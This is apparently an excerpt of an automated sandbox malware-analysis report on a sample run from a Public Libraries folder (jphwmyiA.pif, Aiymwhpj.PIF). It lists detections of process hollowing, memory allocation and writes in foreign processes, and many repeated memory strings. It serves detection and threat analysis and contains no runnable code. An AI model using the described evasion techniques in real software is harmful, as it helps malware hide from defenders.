Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_00416F6A
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_004123F1 SetUnhandledExceptionFilter,	15_2_004123F1

Source: C:\Users\Public\Libraries\jphwmyiA.pif

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\brightness.exe	Memory allocated: C:\Users\Public\Libraries\jphwmyiA.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Memory allocated: C:\Users\Public\Libraries\jphwmyiA.pif base: 400000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Memory allocated: C:\Users\Public\Libraries\jphwmyiA.pif base: 400000 protect: page execute and read and write

Sample uses process hollowing technique

Source: C:\Windows\SysWOW64\brightness.exe	Section unmapped: C:\Users\Public\Libraries\jphwmyiA.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section unmapped: C:\Users\Public\Libraries\jphwmyiA.pif base address: 400000
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Section unmapped: C:\Users\Public\Libraries\jphwmyiA.pif base address: 400000

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\brightness.exe	Memory written: C:\Users\Public\Libraries\jphwmyiA.pif base: 2BA008	Jump to behavior
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Memory written: C:\Users\Public\Libraries\jphwmyiA.pif base: 321008
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Memory written: C:\Users\Public\Libraries\jphwmyiA.pif base: 314008

Source: C:\Windows\SysWOW64\brightness.exe	Process created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif	Jump to behavior
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Process created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Process created: C:\Users\Public\Libraries\jphwmyiA.pif C:\Users\Public\Libraries\jphwmyiA.pif

Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qxs\!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\&
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qx]t
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qx^V
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q@z.!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8[j!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\0
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTDI!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\%^
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\.
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\)
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qt+Z!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\&J
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qpN`
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\%h
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0aM!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`O[!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd6]
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q< H!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q@hJ!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd6g
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\O
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd7I
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qx__
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\J
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\5
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd_r!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4]8!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$DW!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\2
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\<
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\9
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\:
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\e
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0O,
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\c
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qXD;!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8_;
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\n
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qHbg!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\l
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qDx.
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|H^!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\X
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPoG!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\V
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qL'E!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q 7i!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\[
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\#s
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\$U
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qpLu
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,v`!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qHB$!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\u
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX2W!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd4r
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\q
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd5T
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0>f!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\\|
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\z
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8cv
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX$
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|ZB!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,Ks
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX+
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$=,
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,LU
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX(
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX&
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8KF!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q 4R
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q 3p
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qDVX!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q@tu
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qP'7!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q 9)!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qd<!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4\r
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX#4
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q(De
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qHRC!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4]T
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\+=
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qXA
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|lB
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX>
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8ea
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qXL
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qxW(!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhD0
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qXJ
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX4
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qpT?
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\,-
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,M^
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX2
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX<
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`.4!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX7
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qpU/
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q@v`
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qXd
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qDm"!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX`
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX]
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhP+!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q Ln!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qXj
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qXg
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT')!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qXe
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0.B!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qtW6!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q 1{
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qXV
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8y^!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh@i
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q(D,
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX!;
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qLR5!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q@5?!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\(f
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qXs
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|ik
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qXq
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|jM
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qXn
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|,*!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4lq!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX\|
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qD3q!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qXz
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qpQh
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qpRJ
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,?d
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`&<
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4PG!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT&
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT7X!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT"
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q(E5!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhv(!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0G{
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qtO>
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qDG%!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0H]
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX3C!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$3_!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT?
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$0Z
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh7;
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT>
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT<
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qDq_
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT9
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTF
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|`=
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTC
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$1F
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8Y\
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT-
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT+
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`~_!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|YV!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,AY
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT7
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8ZH
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|a-
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT2
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT_
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT]
